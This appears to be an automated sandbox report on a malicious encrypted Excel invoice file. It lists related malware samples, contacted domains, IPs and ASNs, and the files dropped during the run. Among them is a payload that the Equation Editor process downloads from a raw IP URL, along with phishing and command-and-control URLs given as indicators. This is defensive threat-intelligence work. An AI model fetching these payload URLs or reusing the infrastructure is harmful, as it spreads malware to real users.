	FATURA_S.EXE	Get hash	malicious	Browse	www.plainfiles.com/i9ng/?4h=xakOuhDZ+Q5WbrWmVfk4f14ggHG82eXsEmObW4kHQE6LOYZQmZ/WUk6edJZSdGWs57QC&k6A=_ZsLEbjxGHsx
	Anfrage Angebot RESALE DE Maschinen Interesse Nummer 6654229005678.exe	Get hash	malicious	Browse	www.terrierslovjt.xyz/g6k0/?oT=Hip7CMimOk78gxL5CMPku07nV6Z0o8C0cGWx1eP+ie71BFDKkLr5JgybhXBrWtyrNdPh&vDKd7h=9rjLcdHx-0r
	dekonthtml.exe	Get hash	malicious	Browse	www.vacationdealscorp.website/d23n/?x0GLp6V=KF+jwyrZjKxB+2jH5URL+2UV/SD9Gc2YiyRDMrhBOt4TPBFezS+MdmZvHXWfs4XBNCOG&WBg4=5jK4EL4PkLqXtt
	Vjw.exe	Get hash	malicious	Browse	www.abcam-global.com/agsj/?S4m=pZukCCpOlxBbeyZwubQhJMgZkI30amTvWY4n5TjO0OxYnGUCit5uPOkfjWsqaaskQ47N&1b=6lL07rrpgL7Hsz

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
parkingpage.namecheap.com	inlaww321345.exe	Get hash	malicious	Browse	198.54.117.212
	Notificaci#U00f3n de pago.exe	Get hash	malicious	Browse	198.54.117.212
	Advice FTT5378393.exe	Get hash	malicious	Browse	198.54.117.211
	Reference Note PJS-4010036-Ref 18976.exe	Get hash	malicious	Browse	198.54.117.211
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	Browse	198.54.117.215
	SecuriteInfo.com.Variant.Jaik.72878.8629.exe	Get hash	malicious	Browse	198.54.117.217
	ORDERS_S.EXE	Get hash	malicious	Browse	198.54.117.217
	EMIRATE BANK SWIFT 12-05-2022.exe	Get hash	malicious	Browse	198.54.117.210
	RewdsccVjn.exe	Get hash	malicious	Browse	198.54.117.218
	2YoK0uIVmS.exe	Get hash	malicious	Browse	198.54.117.218
	Energe 1,010.00.xlsx	Get hash	malicious	Browse	198.54.117.218
	DHL Shipment doc.exe	Get hash	malicious	Browse	198.54.117.212
	v444BZjqsC.exe	Get hash	malicious	Browse	198.54.117.210
	jO7HOv839n.exe	Get hash	malicious	Browse	198.54.117.215
	TyTasyWsK7.exe	Get hash	malicious	Browse	198.54.117.212
	Comanda atasata.exe	Get hash	malicious	Browse	198.54.117.215
	Enquiry 1331 SO 26929.exe	Get hash	malicious	Browse	198.54.117.217
	ST10501909262401.exe	Get hash	malicious	Browse	198.54.117.210
	bWFqrKmWuG.exe	Get hash	malicious	Browse	198.54.117.212
	hJyWzS4AWx.exe	Get hash	malicious	Browse	198.54.117.212
hdr-nlb10-d66bbad0736f8259.elb.us-east-2.amazonaws.com	doc#011010022.exe	Get hash	malicious	Browse	18.119.154.66
	New order_27.04.2022.pdf.exe	Get hash	malicious	Browse	3.140.13.188
	LPGC CIPTA DIAMOND.xlsx	Get hash	malicious	Browse	18.119.154.66
	SooS.xls	Get hash	malicious	Browse	3.140.13.188
	invoice.xls	Get hash	malicious	Browse	3.140.13.188
	doc88.exe	Get hash	malicious	Browse	18.119.154.66
	ESY12042.EXE	Get hash	malicious	Browse	3.140.13.188
	vbc.exe	Get hash	malicious	Browse	3.140.13.188
	Protected copy of the commercial invoice.exe	Get hash	malicious	Browse	18.119.154.66
	vp65TB0xq1rmUPA.exe	Get hash	malicious	Browse	18.119.154.66
	IRQ2107797_pdf.exe	Get hash	malicious	Browse	18.119.154.66
	New TST_SAM_16L SNAP WHITE.exe	Get hash	malicious	Browse	18.119.154.66
	uEENSyTlon.exe	Get hash	malicious	Browse	18.119.154.66
	ScannerHSBC202204.exe	Get hash	malicious	Browse	3.140.13.188
	DHL SHIPMENT NOTIFICATION 284748395PD.exe	Get hash	malicious	Browse	18.119.154.66
	revised PI876345678.xlsx	Get hash	malicious	Browse	3.140.13.188
	mskl.exe	Get hash	malicious	Browse	18.119.154.66
	lr1ytzKWGY.exe	Get hash	malicious	Browse	18.119.154.66
	PO-768902839.xlsx	Get hash	malicious	Browse	3.140.13.188
	SWIFT,pdf.exe	Get hash	malicious	Browse	18.119.154.66

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
LEASEWEB-USA-SEA-10US	Inquiry.doc05102022.exe	Get hash	malicious	Browse	142.234.236.174
	sora.arm	Get hash	malicious	Browse	172.241.159.251
	cxFK87hhwM	Get hash	malicious	Browse	172.241.159.244
	Like3EYCgS	Get hash	malicious	Browse	172.241.159.211
	810gMVdxHV	Get hash	malicious	Browse	172.241.159.245
	arm7	Get hash	malicious	Browse	23.82.230.162
	UzFT5M5FXm.exe	Get hash	malicious	Browse	23.106.215.217
	gymSqYK5w9	Get hash	malicious	Browse	172.241.159.252
	joltvU7NHw.exe	Get hash	malicious	Browse	23.82.156.226
	x86	Get hash	malicious	Browse	172.241.159.238
	b72WXQwmB3	Get hash	malicious	Browse	23.19.223.195
	xyjcT3XzpC	Get hash	malicious	Browse	172.241.159.225
	M7NtYyxbey.exe	Get hash	malicious	Browse	23.106.223.243
	arm	Get hash	malicious	Browse	23.19.223.166
	Service-Interrupt-1734251127.xlsb	Get hash	malicious	Browse	23.106.215.210
	Service-Interrupt-1734251127.xlsb	Get hash	malicious	Browse	23.106.215.210
	Service-Interrupt-947051958.xlsb	Get hash	malicious	Browse	23.106.215.210
	Service-Interrupt-947051958.xlsb	Get hash	malicious	Browse	23.106.215.210
	Zeus.mpsl	Get hash	malicious	Browse	172.241.159.233
	U prilogu je predracun.exe	Get hash	malicious	Browse	64.120.2.136
NAMECHEAP-NETUS	Shipment Documents.exe	Get hash	malicious	Browse	198.187.30.47
	RFQ. 220 & Drawings.exe	Get hash	malicious	Browse	198.187.30.47
	PI PDF.exe	Get hash	malicious	Browse	198.54.126.161
	https://kryptokingtrading.com/webapp/data.php	Get hash	malicious	Browse	68.65.120.231
	https://fedgovapp.com/Maryland-login/	Get hash	malicious	Browse	198.54.114.219
	http://15u30P6pz0M18W5vt.cam	Get hash	malicious	Browse	162.255.119.176
	Notificaci#U00f3n de pago.exe	Get hash	malicious	Browse	198.54.117.212
	LISTA DE ESPECIFICACIONES PO A Y B CON HOJA DE DIBUJO 1,2 y 3.exe	Get hash	malicious	Browse	198.187.30.47
	DHL Receipt_AWB811470484778.exe	Get hash	malicious	Browse	198.187.30.47
	Shipping Documents.exe	Get hash	malicious	Browse	198.187.30.47
	Advice FTT5378393.exe	Get hash	malicious	Browse	162.0.233.154
	http://jbhess.jbhess.africartz.com/amJoZXNzQGhlc3MuY29t	Get hash	malicious	Browse	199.188.205.217
	SOA (2).exe	Get hash	malicious	Browse	198.54.126.161
	http://jbhess.jbhess.africartz.com/amJoZXNzQGhlc3MuY29t	Get hash	malicious	Browse	199.188.205.217
	https://nwfparolinv.org/	Get hash	malicious	Browse	68.65.123.205
	Order.doc	Get hash	malicious	Browse	162.0.233.154
	SOA.exe	Get hash	malicious	Browse	198.54.126.161
	http://wm8delihrf.purboposchim.online/#.aHR0cHM6Ly9nYXRld2F5LnBpbmF0YS5jbG91ZC9pcGZzL1FtY3A0dDQ5Mm1GOGd5a3dUQ3NBbUJlREZ4ZWlTaG9lUWd5OTRWSE5pWnNIeTc/I3N5bHZpZS5kcmFwZWF1QHNhYXEuZ291di5xYy5jYQ==	Get hash	malicious	Browse	199.188.206.59
	http://wm8delihrf.purboposchim.online/#.aHR0cHM6Ly9nYXRld2F5LnBpbmF0YS5jbG91ZC9pcGZzL1FtY3A0dDQ5Mm1GOGd5a3dUQ3NBbUJlREZ4ZWlTaG9lUWd5OTRWSE5pWnNIeTc/I3N5bHZpZS5kcmFwZWF1QHNhYXEuZ291di5xYy5jYQ==	Get hash	malicious	Browse	199.188.206.59
	SecuriteInfo.com.Variant.Jaik.72878.8629.exe	Get hash	malicious	Browse	198.54.117.217

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	downloaded
Size (bytes):	263772
Entropy (8bit):	7.907718436240332
Encrypted:	false
SSDEEP:	6144:LOtIO4ysWjl1zKay/DGHe9G78x3c4mfnk1OUgS:LOLSepKvCH78xM4mQOY
MD5:	DE76EF6A11A63EFC00B0303888BC0B7F
SHA1:	7AB24456A49F6B61BC54D20A4D9C0B84F3AE696B
SHA-256:	FC6EBE8BC215A292BB3DF340A84350CEB2BE7187EFC8E10381235CFA8D82F734
SHA-512:	51A5CF0F640D922EC0D8BF5BA3FCC06B6278E3AC45F07190710C5055A23102A614443641D8B6617775D5A786CCB1E9D10404DFA0E146E6C8EC3481C616214D99
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 51%
Reputation:	low
IE Cache URL:	http://104.168.33.31/75/vbc.exe
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!`G.@...@...@../OQ..@...@..I@../OS..@...c>..@..+F...@..Rich.@..........................PE..L.....Oa.................h....:.....F6............@...........................;...........@...........................................;.P............................................................................................................text....g.......h.................. ..`.rdata...............l..............@..@.data.....9.........................@....ndata........:..........................rsrc...P.....;.....................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\21AA51C5.wmf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ms-windows metafont .wmf
Category:	dropped
Size (bytes):	4630
Entropy (8bit):	5.070400845866794
Encrypted:	false
SSDEEP:	96:RmljFSTwLmSaj2W67xYK2dlEtF622okgmCCHtkTl9ggBgThsMihEylB8By98Rj:UlRSkCSajh6tL2dlEtFV2VgmVNkTl9gJ
MD5:	1A4FF280B6D51A6ED16C3720AF1CD6EE
SHA1:	277878BEF42DAC8BB79E15D3229D7EEC37CE22D9
SHA-256:	E5D86DD19EE52EBE2DA67837BA4C64454E26B7593FAC8003976D74FF848956E7
SHA-512:	3D41BAF77B0BEEF85C112FCBD3BE30E940AF1E586C4F9925DBDD67544C5834ED794D0042A6F6FF272B21D1106D798CBB05FA2848A788A3DAFE9CFBC8574FCECA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	...................[R..................................D.^...................-...................".....-...........................".....-.....................-...............$...........o.............................-...............-.......-.....................-...............$.......W.....i...T.........-...............-.......-.....................-...........>...$.....~.........................z...m.....H.v.....?.........................\|...r...f...Z...L...>...0... .............~.....-...............-.......-.....................-...........6...$.....................................-...?...U...n...........!...!.........................................-...............-.......-.....................-...........8...$.......................s...e.g.\.L.Y./.[..._...g...p...~.............'.../...L.v.g.i...V...@...'...............-...............-.......-.....................-........... ...$.......................r...{...................................-...............-.......-...........

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5042D1B.wmf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ms-windows metafont .wmf
Category:	dropped
Size (bytes):	4630
Entropy (8bit):	5.070400845866794
Encrypted:	false
SSDEEP:	96:RmljFSTwLmSaj2W67xYK2dlEtF622okgmCCHtkTl9ggBgThsMihEylB8By98Rj:UlRSkCSajh6tL2dlEtFV2VgmVNkTl9gJ
MD5:	1A4FF280B6D51A6ED16C3720AF1CD6EE
SHA1:	277878BEF42DAC8BB79E15D3229D7EEC37CE22D9
SHA-256:	E5D86DD19EE52EBE2DA67837BA4C64454E26B7593FAC8003976D74FF848956E7
SHA-512:	3D41BAF77B0BEEF85C112FCBD3BE30E940AF1E586C4F9925DBDD67544C5834ED794D0042A6F6FF272B21D1106D798CBB05FA2848A788A3DAFE9CFBC8574FCECA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	...................[R..................................D.^...................-...................".....-...........................".....-.....................-...............$...........o.............................-...............-.......-.....................-...............$.......W.....i...T.........-...............-.......-.....................-...........>...$.....~.........................z...m.....H.v.....?.........................\|...r...f...Z...L...>...0... .............~.....-...............-.......-.....................-...........6...$.....................................-...?...U...n...........!...!.........................................-...............-.......-.....................-...........8...$.......................s...e.g.\.L.Y./.[..._...g...p...~.............'.../...L.v.g.i...V...@...'...............-...............-.......-.....................-........... ...$.......................r...{...................................-...............-.......-...........

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\52D20C60.wmf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ms-windows metafont .wmf
Category:	dropped
Size (bytes):	1970
Entropy (8bit):	5.125773446782967
Encrypted:	false
SSDEEP:	48:KxK48S3oEL48I+KL48uL48kL48tnL48I0L48Ih2L48Ls4fnPK6L48tOL48bCb3RM:KxKS3okSuEtN1O2FfUcM
MD5:	30935B0D56A69E2E57355F8033ADF98B
SHA1:	5F7C13E36023A1B3B3DAF030291C02631347C2AB
SHA-256:	077232D301E2DF2E2702BD9E7323806AC20134F989C8A4102403ECBF5E91485E
SHA-512:	5D633D1EC5559443D3DA5FAD2C0CFC5DBF6A006EF6FBEE8C47595A916A899FBDF713897289E99EE62C07B52CCB61578253791AC57712DF040469F21287A742E9
Malicious:	false
Preview:	.....F.>...u........R........................u.F.............................-...................".....-...........................".....-....................-...........F...$.!.....!......2...9...?...C...F...G...F...C...?...9...2......!.........................................................................................-...............-.......-....................-...............$...[...6._...x.[.......-...............-.......-....................-...............$...o.D...x.#.w...G.o.D.....-...............-.......-....................-...............$.........!.V.{...y.............-...............-.......-....................-...............$.....M.w...n.@.[.....M.....-...............-.......-....................-...............$.......f...Q...........-...............-.......-....................-...............$...'.U.....K...'.U.....-...............-.......-....................-...............$.c...u...\...D...,.........j...S...=...%.........x...c...N...:...&.v...p...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\77AC4BD4.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	223752
Entropy (8bit):	3.2805343869701504
Encrypted:	false
SSDEEP:	1536:gAGsM8yOYZWQ99d99H9999999lN6Hz8iiiiiiiiiiiiiiiPnHnbq+QVwtaKfdL4a:gMMVNSztnZft6rMMVNSztnZft6u
MD5:	8E3A74F7AA420B02D34C69E625969C0A
SHA1:	4743F57F0F702C5B47FA1668D9173E08ADA16448
SHA-256:	0CD83C55739629F98FE6AFD3E25A5BCBB346CBEF58BC592C1260E9F0FA8575A9
SHA-512:	ADE6B91E260AFA08CC286471D0AD7BCA82FF5E1FE506D48B37A13E3CDD2717171CDAC38C77CFF18FD4C26CA9470B002B63B7FDDC0466FC6F7010A772BF557054
Malicious:	false
Preview:	....l................................... EMF.....j..........................8...X....................?......F...........GDIC...............p.........8.........................F...........................A. ...........F.......(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8E77A502.wmf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ms-windows metafont .wmf
Category:	dropped
Size (bytes):	1970
Entropy (8bit):	5.125773446782967
Encrypted:	false
SSDEEP:	48:KxK48S3oEL48I+KL48uL48kL48tnL48I0L48Ih2L48Ls4fnPK6L48tOL48bCb3RM:KxKS3okSuEtN1O2FfUcM
MD5:	30935B0D56A69E2E57355F8033ADF98B
SHA1:	5F7C13E36023A1B3B3DAF030291C02631347C2AB
SHA-256:	077232D301E2DF2E2702BD9E7323806AC20134F989C8A4102403ECBF5E91485E
SHA-512:	5D633D1EC5559443D3DA5FAD2C0CFC5DBF6A006EF6FBEE8C47595A916A899FBDF713897289E99EE62C07B52CCB61578253791AC57712DF040469F21287A742E9
Malicious:	false
Preview:	.....F.>...u........R........................u.F.............................-...................".....-...........................".....-....................-...........F...$.!.....!......2...9...?...C...F...G...F...C...?...9...2......!.........................................................................................-...............-.......-....................-...............$...[...6._...x.[.......-...............-.......-....................-...............$...o.D...x.#.w...G.o.D.....-...............-.......-....................-...............$.........!.V.{...y.............-...............-.......-....................-...............$.....M.w...n.@.[.....M.....-...............-.......-....................-...............$.......f...Q...........-...............-.......-....................-...............$...'.U.....K...'.U.....-...............-.......-....................-...............$.c...u...\...D...,.........j...S...=...%.........x...c...N...:...&.v...p...

C:\Users\user\AppData\Local\Temp\boswagvgna

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	data
Category:	dropped
Size (bytes):	5255
Entropy (8bit):	6.127070531933686
Encrypted:	false
SSDEEP:	96:PtzobClet8oviJxTEJ7eusJIzyy+F4q0IqxeEoAe8oUEVsLA3wtPAJmr2DmX:JEueZvMly+iIqxeocsLA3wtPAJmr2DmX
MD5:	D4AA661B180DF0D15BB6D0DC8342B8BA
SHA1:	07310F7D0C29CD6A18AE1174578F61B08E2BA844
SHA-256:	E12B146FD62913D6650FCAF490CF973008929E47FD247CB3BD75B6E854CFDD89
SHA-512:	B423C31088CE987D77CCB2ECFB055674868DD34A995CCA1C5AFFF3CA6F2BFEA0C64037D68132C43735140651CD550507773012C23F142F04B3DE984FD4DAB39A
Malicious:	false
Preview:	....L..b..RKNb\|..N%{..\.N%{..\.b\|...\....b\|...l..l..\.U......\..L..l..l..\.U......\..L..l..l..\.U......\..L..l..l..\.U.)....\%.L!bd..k.w.Mz%..\...\..L..\.b....\..T..\..T... ..w.H...\..L.....\.NK.\|.b..w......b..\|..l.H.l.G.l.M.l%.H.l.F.l.C..q.~]...~].Y.b..l..l.G.\....\..\|............b...\|.CF.\.FCJ....L..PP.N%{..\..\...\.r..\....T... .. ..L..\..\....T....\..L.....}...f.o....}......}{..f.E....K......}.I.f.S...........L..b...N%{..\..\.....\..\.bd..q..\.....\..\..\.].\....]....%q[.\..w.Hz.......Q...\..w.H .......Q..w.w.Mz%.....U}{..f.....U......\....\.U.l..W....\.bd..q.b\|.....\......\.....L..b...N%{..\..\.....\%.\.bd..q..\.....\..\..\.].\.........%.a.....\..w.Hz.....%.Q.!.\..w.H .....%.Q.!.\..w.H.....%.Q.!.\...w.Gz.....%.Y.!.\..w.H .....%.Q.!w.w.Mz%....%U}...f.....U......\.bd..q..\..T......l..l..l..l..l.......\.bd..q.b\|.....\......\.....L..b...\.....\..\.bd..q..\.....\..\..\.].\.........%q[.\..w.Hz.......Q...\..w.H .......Q..w.w.Mz%.....U}.I.f.....U......\....l..l.....

C:\Users\user\AppData\Local\Temp\l4nnhna3wvu7agf

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	data
Category:	dropped
Size (bytes):	175103
Entropy (8bit):	7.987300968800779
Encrypted:	false
SSDEEP:	3072:Bj4fQd5wKwOPNwZmWzhCm2iGEOkdF3dpLvhYMDyYKGNqyoryYuhnMW2LkMVmHz8C:RngJOPNKm6hVGEXdFjLBlNqyF3hGVmTP
MD5:	0B70240F412D375469A67F4E364E6EDD
SHA1:	877D66CBFFF0712D91ED65C7545577729B34CB1A
SHA-256:	DAAE8081EFFED8BB74D40479D2264D791A8539F1ED8565438640EE6681D5DC64
SHA-512:	C6980E41D2EA0D85D5A586A32EC6142B301B7E03AC1871587BE5AC00FCA6CEA1680D62262A8656F1B1A4B428567B6BAEE0C05A35C07C8B9EA09594CB067B64C5
Malicious:	false
Preview:	^......&..(3x..^.....\5...x...{......e.d..y.q......2A.m..~..v.......R.v...f.....[..f...~o....)e.).X......w.....5...z.....E...........\.f_.=f..BYbIv.......M...a.J.Q..Ox..C.![~........o.J..4O.epp!.k.k..%B........alu.Q...w3.....pF-}..=..5........&.].x.*k~.'.....v....^p.{......e.d..y.q......2A.m..F~...uo..e.E.....e..zk>..pp(........uk.m..z.......+Pg....z.....d.Quw.....%......`.-.K[....1..Q....$E.tfp..q_-....C.]eE..m.>o.o.J..4O.eBR-"+.7Jk\|B.......W.@lu.Q..v@3..\|...pF[}.d=..5....f....&..Mx..k~.'....4A....^..{......e.d..y.q......2A.m..F~...uo..e.E.....e..zk>..pp(........uk.m..z.......+Pg....z.....d.Quw.....%......`.-.K[....1..Q....$E.tfp..q.Ox..C.X~....f..o.J..4O.eBR-"+.kJk%B.......W.@lu.Q..v@3..\|...pF[}.d=..5....f....&..Mx..k~.'....4A....^..{......e.d..y.q......2A.m..F~...uo..e.E.....e..zk>..pp(........uk.m..z.......+Pg....z.....d.Quw.....%......`.-.K[....1..Q....$E.tfp..q.Ox..C.X~....f..o.J..4O.eBR-"+.kJk%B.......W.@lu.Q.

C:\Users\user\AppData\Local\Temp\nss8A2D.tmp

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	data
Category:	dropped
Size (bytes):	277368
Entropy (8bit):	7.483346602419937
Encrypted:	false
SSDEEP:	6144:kngJOPNKm6hVGEXdFjLBlNqyF3hGVmTb+ecu:kngJOPjcVZBbF8/eB
MD5:	C2F526011A8F4C1202583C0F68C272D7
SHA1:	6E43958FE2A7B13C248C45369E6B4113185A1B78
SHA-256:	E3AA52846C6BC0E920C12B442E4E08EDE1D409D0A99069A19BB801162204A38B
SHA-512:	A1301004F25C78C69FA4BEE2261D2ABDEEAEFAA843EE27841EC41773B3C16597C58E066CDDF4C5F79FBBC964AC0164C77221E954D5FC168EC231C2366FEAEC07
Malicious:	false
Preview:	.@......,................"......$1.......@.......@..........................................................................................................................................................................................................................................G...............a...j...............................................................................................................................U.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\yldnat.exe

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80384
Entropy (8bit):	6.294551753702395
Encrypted:	false
SSDEEP:	1536:fGTaC+v1UYfr0oxAomP3cX/4pi2sWjcdl5I:Ua5eYD1/ui5lC
MD5:	BC3C746DB1D3F8A821BBDF17CA023450
SHA1:	12459C0EF96BDE1490B00FC9C6F09D69FBEC046F
SHA-256:	C503A6FBE974E2C177FAFFFC2F2D9F7C26473909A2AB054E305B0E231C54B785
SHA-512:	92A0EBED569EDE2306B15D12389110016FC45073BECA5BD3FF813BEDA7988A042D1827DDF8B985112C3D606AF378DEA952962CB601A85E0EAFA7D696EACCECF3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........w...w...w...%`..w...%^..w...%a.w......w...w..w..p....w..p.~..w..p....w..Rich.w..................PE..L...z&~b............................7.............@.......................................@..................................$.......p..................................T...............................@............................................text...U........................... ..`.rdata...N.......P..................@..@.data... 1...0......................@....rsrc........p.......*..............@..@.reloc...............,..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF8200AD3C92400B31.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	CDFV2 Encrypted
Category:	dropped
Size (bytes):	95744
Entropy (8bit):	7.922070010958603
Encrypted:	false
SSDEEP:	1536:jh2xAtm2bfGDEZDovjNYbzrPyBSSRXSRR411fQGOadB0Lp1j4JjFSOEt8pRRZz:jh2PvWeYmBr4O1ppOIBMsJttzRZz
MD5:	5B4A67AC532A5D8900B815144F0FB845
SHA1:	6DA306004E084780E9F57F3702A5EC22E72FFF6C
SHA-256:	98FC7157DAFDE651C3AB515663E3A91F034B49175E2E2495C00576C4B8E9E96D
SHA-512:	031659B74D92911A76865B5095E75521E69E322838E8636E66E9E365B5BC5AC270F61B3C4B8831DD7D3E16A7318D4B5B3E4379AE6487E81F1FAA8BD9B988164D
Malicious:	false
Preview:	......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\AppData\Local\Temp\~DFA02A15C6E61E2243.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFB8C99282338AF6F8.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFD268A41FBC2DE634.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$DL03327INV.xlsx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	true
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\Public\vbc.exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	263772
Entropy (8bit):	7.907718436240332
Encrypted:	false
SSDEEP:	6144:LOtIO4ysWjl1zKay/DGHe9G78x3c4mfnk1OUgS:LOLSepKvCH78xM4mQOY
MD5:	DE76EF6A11A63EFC00B0303888BC0B7F
SHA1:	7AB24456A49F6B61BC54D20A4D9C0B84F3AE696B
SHA-256:	FC6EBE8BC215A292BB3DF340A84350CEB2BE7187EFC8E10381235CFA8D82F734
SHA-512:	51A5CF0F640D922EC0D8BF5BA3FCC06B6278E3AC45F07190710C5055A23102A614443641D8B6617775D5A786CCB1E9D10404DFA0E146E6C8EC3481C616214D99
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 51%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!`G.@...@...@../OQ..@...@..I@../OS..@...c>..@..+F...@..Rich.@..........................PE..L.....Oa.................h....:.....F6............@...........................;...........@...........................................;.P............................................................................................................text....g.......h.................. ..`.rdata...............l..............@..@.data.....9.........................@....ndata........:..........................rsrc...P.....;.....................@..@................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	CDFV2 Encrypted
Entropy (8bit):	7.922070010958603
TrID:	Generic OLE2 / Multistream Compound File (8008/1) 100.00%
File name:	DL03327INV.xlsx
File size:	95744
MD5:	5b4a67ac532a5d8900b815144f0fb845
SHA1:	6da306004e084780e9f57f3702a5ec22e72fff6c
SHA256:	98fc7157dafde651c3ab515663e3a91f034b49175e2e2495c00576c4b8e9e96d
SHA512:	031659b74d92911a76865b5095e75521e69e322838e8636e66e9e365b5bc5ac270f61b3c4b8831dd7d3e16a7318d4b5b3e4379ae6487e81f1faa8bd9b988164d
SSDEEP:	1536:jh2xAtm2bfGDEZDovjNYbzrPyBSSRXSRR411fQGOadB0Lp1j4JjFSOEt8pRRZz:jh2PvWeYmBr4O1ppOIBMsJttzRZz
TLSH:	EB93F1C9C16498FDF4FEF67928986921F4686DF7D54497E0A226B00EC738A642BA0D31
